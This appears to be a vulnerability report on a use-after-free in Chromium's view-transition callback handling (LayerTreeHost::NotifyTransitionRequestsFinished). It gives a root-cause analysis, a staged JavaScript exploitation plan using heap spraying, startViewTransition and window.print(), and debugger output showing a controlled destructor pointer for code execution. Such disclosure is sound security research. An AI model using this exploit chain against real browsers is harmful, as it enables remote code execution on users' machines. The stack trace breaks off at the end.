**TESTON**
```
git log
commit a5cf267347d1c4c3aa30a1fa5afbde62374f29ec (HEAD, origin/main, origin/HEAD)

# Set build arguments here. See `gn help buildargs`.
is_component_build = true
enable_nacl = false
target_cpu = "x64"
blink_symbol_level = 2
v8_symbol_level = 2
symbol_level = 2
#is_asan = true
is_debug=false
dcheck_always_on=false
```

### Vulnerability RCA

- The function `NotifyTransitionRequestsFinished` first obtains an iterator for the `view_transition_callbacks_` container and stores it in the `it` variable [1].
- The callback at code [2], invoked via `startViewTransition`, allows control to pass to user-defined JavaScript code.
- In the user’s JavaScript code, calling `startViewTransition` again adds new elements to `view_transition_callbacks_`.
- Using `window.print()` in the user's JavaScript code triggers an embedded run loop, causing the newly added elements to result in the free of the underlying buffer of the original `view_transition_callbacks_` container.
- After the callback execution, `view_transition_callbacks_.erase(it)` attempts to erase an already invalid iterator, leading to a Use-After-Free vulnerability.
```
https://source.chromium.org/chromium/chromium/src/+/main:cc/trees/layer_tree_host.cc;drc=d5e762e022c4d40d97ee0dc70521b161d72a06b1;l=538
void LayerTreeHost::NotifyTransitionRequestsFinished(
    const uint32_t sequence_id,
    const viz::ViewTransitionElementResourceRects& rects) {
  DCHECK(IsMainThread());
  // TODO(vmpstr): This might also be a good spot to expire long standing
  // requests if they were not finished.
  auto it = view_transition_callbacks_.find(sequence_id); <<[1]>>
  if (it == view_transition_callbacks_.end()) {
    return;
  }
  std::move(it->second).Run(rects);                       <<[2]>>
  view_transition_callbacks_.erase(it);                   <<[3]>>
}
```

### Exploit Details

#### Implementation of `vector::erase` in libc++
Chromium uses the libc++ implementation of the vector library. In this library, `vector::erase` operates as follows for the statement `view_transition_callbacks_.erase(it)`:
- Calculate the offset of the element to be deleted relative to the container’s start address using `__ps == it - view_transition_callbacks_.begin()` [1].
- Compute the absolute address of the element to be deleted using `__p = this->__begin_ + __ps` [2].
- Call `this->__destruct_at_end(std::move(__p + 1, this->__end_, __p));` [3] to delete and destruct the element.
- This leads to code [4], which processes each element in the container sequentially until the container’s end.

```
template <class _Tp, class _Allocator>
_LIBCPP_CONSTEXPR_SINCE_CXX20 inline _LIBCPP_HIDE_FROM_ABI typename vector<_Tp, _Allocator>::iterator
vector<_Tp, _Allocator>::erase(const_iterator __position) {
  _LIBCPP_ASSERT_VALID_ELEMENT_ACCESS(
      __position != end(), "vector::erase(iterator) called with a non-dereferenceable iterator");
  difference_type __ps = __position - cbegin();                         <<[1]>>
  pointer __p          = this->__begin_ + __ps;                         <<[2]>>
  this->__destruct_at_end(std::move(__p + 1, this->__end_, __p));       <<[3]>>
  return __make_iter(__p);
}


template <class _AlgPolicy>
struct __move_impl {
  template <class _InIter, class _Sent, class _OutIter>
  _LIBCPP_HIDE_FROM_ABI _LIBCPP_CONSTEXPR_SINCE_CXX14 pair<_InIter, _OutIter>
  operator()(_InIter __first, _Sent __last, _OutIter __result) const {
    while (__first != __last) {
      *__result = _IterOps<_AlgPolicy>::__iter_move(__first);         <<[4]>>
      ++__first;
      ++__result;
    }
    return std::make_pair(std::move(__first), std::move(__result));
  }
```

#### Exploitation Method

##### Minor Flaw in libc++’s `vector::erase`
From the code above, it is evident that libc++’s `vector::erase` implementation does not validate whether the iterator to be deleted lies within the container’s valid range. This vulnerability allows obtaining an iterator pointer that does not belong to the current container’s address range (i.e., it points to the address before the container’s memory was reallocated).

For example, if the original `it` pointed to address `0x401000`, and after memory reallocation, `view_transition_callbacks_.begin()` is at `0x402000`, `vector::erase` will still attempt to delete elements starting from `0x401000` until reaching `view_transition_callbacks_.end()`.

##### Exploitation Steps
**INIT**
- Use the same heap spray method as described in the issue(https://issues.chromium.org/issues/379516109#comment15) to create numerous 0x100-sized memory holes. Refer to the `spray` and `releaseAudioMemory` functions in the code for implementation details.

**STAGE1**
- Call `startViewTransition` to add 16 elements to `view_transition_callbacks_`.
- Among the added elements, select an element in the middle to set a user-defined JavaScript callback, positioning the iterator in the middle of the container for subsequent exploitation.
- 
```
// STAGE 1
for (let i = 0; i < stage1_size; ++i) {
  if (stage1_size - 5 == i) {
    iframes1[i].contentDocument.startViewTransition(v1444);
    continue;
  }
  iframes1[i].contentDocument.startViewTransition(() => { console.log(`stage1 -> ${i}`) });
}
```

**STAGE2**
- In the callback function, continue using `startViewTransition` to add 17 elements to `view_transition_callbacks_`, triggering a memory reallocation for the container.
- Call `window.print()` to establish an embedded run loop, causing the memory pointed to by the `it` variable to be freed.
- Use the `spray` function to attempt to occupy the recently freed memory pointed to by `it`.
  
```
// STAGE 2
var v1444 = function () {
  console.log("ViewTransitionCallback");

  target2.contentDocument.startViewTransition(() => {
    console.log(`stage2 -> `)
  });

  for (let i = 0; i < stage1_size; ++i) {
    const iframe = document.createElement('iframe');
    iframe.width = 10;
    iframe.height = 10;
    iframeContainer.appendChild(iframe);
    iframe.contentDocument.startViewTransition(() => {
      console.log(`stage1 -> ${i}`)
    });
  }
  try { document.execCommand("print"); } catch (e) { }

  console.log("\n============TAKE HOLE 2=========================\n")
  for (let i = 0; i < 333; ++i) {
    spray(stage1_size * 0x10);
  }

}
```

**RCE**
- If the memory occupation is successful, during the element movement in `vector::erase`, the original object is destructed first. By controlling the `destructor_` pointer, the RIP register can be controlled.
- Alternatively, by controlling another object to occupy the memory, an Arbitrary Address Write can be achieved using `ref_count_.Decrement()`.

```
9:111> dx -id 0,9 -r1 (*((base!scoped_refptr<base::internal::BindStateBase> *)0xea99dfd4d8)).ptr_
(*((base!scoped_refptr<base::internal::BindStateBase> *)0xea99dfd4d8)).ptr_                 : 0x37c00015980 [Type: base::internal::BindStateBase *]
    [+0x000] ref_count_       [Type: base::AtomicRefCount]
    [+0x004] needs_adopt_ref_ : true [Type: bool]
    [+0x005] in_dtor_         : true [Type: bool]
    [+0x008] polymorphic_invoke_ : 0x400000003 : 0x400000003 [Type: void (__cdecl*)()]
    [+0x010] destructor_      : 0x5555555544444444 : 0x5555555544444444 [Type: void (__cdecl*)(base::internal::BindStateBase *)]
    [+0x018] query_cancellation_traits_ : 0x7777777766666666 : 0x7777777766666666 [Type: bool (__cdecl*)(base::internal::BindStateBase *,base::internal::BindStateBase::CancellationQueryMode)]

9:111> k
 # Child-SP          RetAddr               Call Site
00 000000ea`99dfd3c0 00007ffa`5d5fdcd8     base!base::internal::BindStateBaseRefCountTraits::Destruct+0x17 [D:\chromium\src\base\functional\callback_internal.cc @ 26] 
01 000000ea`99dfd3f0 00007ffa`5d5fdc82     base!base::RefCountedThreadSafe<base::internal::BindStateBase,base::internal::BindStateBaseRefCountTraits>::Release+0x28 [D:\chromium\src\base\memory\ref_counted.h @ 429] 
02 000000ea`99dfd430 00007ffa`5d5fd9b6     base!scoped_refptr<base::internal::BindStateBase>::Release+0x22 [D:\chromium\src\base\memory\scoped_refptr.h @ 393] 
03 000000ea`99dfd460 00007ffa`5d5fd88b     base!scoped_refptr<base::internal::BindStateBase>::~scoped_refptr+0x26 [D:\chromium\src\base\memory\scoped_refptr.h @ 282] 
04 000000ea`99dfd4a0 00007ffa`5d5fd835     base!scoped_refptr<base::internal::BindStateBase>::operator=+0x3b [D:\chromium\src\base\memory\scoped_refptr.h @ 307] 
05 000000ea`99dfd4f0 00007ffa`336949a3     base!base::internal::BindStateHolder::operator=+0x45 [D:\chromium\src\base\functional\callback_internal.cc @ 43] 
06 000000ea`99dfd540 00007ffa`336ab7b3     cc!base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)>::operator=+0x23 [D:\chromium\src\base\functional\callback.h @ 96] 
07 000000ea`99dfd580 00007ffa`336ab582     cc!std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> >::operator=+0x33 [D:\chromium\src\third_party\libc++\src\include\__utility\pair.h @ 237] 
08 000000ea`99dfd5c0 00007ffa`336ab485     cc!std::__Cr::__move_impl<std::__Cr::_ClassicAlgPolicy>::operator()<std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *>+0x62 [D:\chromium\src\third_party\libc++\src\include\__algorithm\move.h @ 47] 
09 000000ea`99dfd620 00007ffa`336ab3c4     cc!std::__Cr::__copy_move_unwrap_iters<std::__Cr::__move_impl<std::__Cr::_ClassicAlgPolicy>,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,0>+0xb5 [D:\chromium\src\third_party\libc++\src\include\__algorithm\copy_move_common.h @ 95] 
0a 000000ea`99dfd6c0 00007ffa`336ab36b     cc!std::__Cr::__move<std::__Cr::_ClassicAlgPolicy,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *>+0x34 [D:\chromium\src\third_party\libc++\src\include\__algorithm\move.h @ 122] 
0b 000000ea`99dfd710 00007ffa`336ab235     cc!std::__Cr::move<std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *,std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > *>+0x3b [D:\chromium\src\third_party\libc++\src\include\__algorithm\move.h @ 132] 
0c 000000ea`99dfd770 00007ffa`3368efb4     cc!std::__Cr::vector<std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> >,std::__Cr::allocator<std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > > >::erase+0xc5 [D:\chromium\src\third_party\libc++\src\include\__vector\vector.h @ 1175] 
0d 000000ea`99dfd7f0 00007ffa`3368e930     cc!base::internal::flat_tree<unsigned int,base::internal::GetFirst,std::__Cr::less<void>,std::__Cr::vector<std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> >,std::__Cr::allocator<std::__Cr::pair<unsigned int,base::OnceCallback<void (const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &)> > > > >::erase+0xa4 [D:\chromium\src\base\containers\flat_tree.h @ 862] 
0e 000000ea`99dfd880 00007ffa`337f2b31     cc!cc::LayerTreeHost::NotifyTransitionRequestsFinished+0x610 [D:\chromium\src\cc\trees\layer_tree_host.cc @ 561] 
0f 000000ea`99dfdd90 00007ffa`337e3528     cc!cc::ProxyMain::NotifyTransitionRequestFinished+0x31 [D:\chromium\src\cc\trees\proxy_main.cc @ 538] 
10 000000ea`99dfddd0 00007ffa`337e34bd     cc!base::internal::DecayedFunctorTraits<void (ProxyMain::*)(unsigned int, const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &),base::WeakPtr<cc::ProxyMain> &&,unsigned int &&,std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &&>::Invoke<void (ProxyMain::*)(unsigned int, const std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > &),const base::WeakPtr<cc::ProxyMain> &,unsigned int,std::__Cr::unordered_map<viz::ViewTransitionElementResourceId,gfx::RectF,std::__Cr::hash<viz::ViewTransitionElementResourceId>,std::__Cr::equal_to<viz::ViewTransitionElementResourceId>,std::__Cr::allocator<std::__Cr::pair<const viz::ViewTransitionElementResourceId,gfx::RectF> > > >+0x38 [D:\chromium\src\base\functional\bind_internal.h @ 731] 
1
```
